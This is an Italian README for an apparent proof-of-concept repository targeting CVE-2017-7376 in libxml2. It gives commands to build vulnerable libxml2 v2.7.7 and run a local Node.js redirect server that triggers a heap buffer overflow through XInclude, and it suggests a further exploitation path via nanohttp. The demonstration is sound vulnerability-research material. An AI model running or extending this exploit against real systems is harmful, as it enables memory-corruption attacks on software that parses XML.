brahmstaedt/libxml2-exploitUn esempio di exploit per CVE-2017-7376
Un exploit di esempio per CVE-2017-7376
Scarica questo repository e una versione vulnerabile di libxml2, ad esempio v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
Per rendere più visibile il successo dell'exploit, aggiungi codice per rilevare il buffer overflow a libxml2. Non necessario se hai altri mezzi di visibilità, come l'arresto anomalo dell'applicazione.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
Nel caso del seguente errore:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
Sostituisci in configure.in AM_C_PROTOTYPES con dnl AM_C_PROTOTYPES, ad esempio così:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
Torna indietro
cd ..
Questo exploit richiede un server web che risponda con un reindirizzamento a un nuovo URL con un numero di porta maggiore di 5 cifre e inferiore a int32max (2147483648 = 2^32/2).
Avvia il server (richiede Node.js e che la porta 127.0.0.1:8080 sia inutilizzata):
node http.js &
Test del server web; dovrebbe lamentarsi del numero di porta non valido 2147426192:
wget localhost:8080
make
./run.sh
Output previsto:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
Questo exploit dimostrativo richiede che il programma principale esegua xmlXIncludeProcess() per raggiungere il codice difettoso in libxml2, cosa che probabilmente non viene utilizzata in molte implementazioni reali. Ma poi nanohttp.c menziona nel commento che è una implementazione HTTP GET minimalista per recuperare sottoinsiemi esterni che potrebbe offrire un altro percorso di sfruttamento.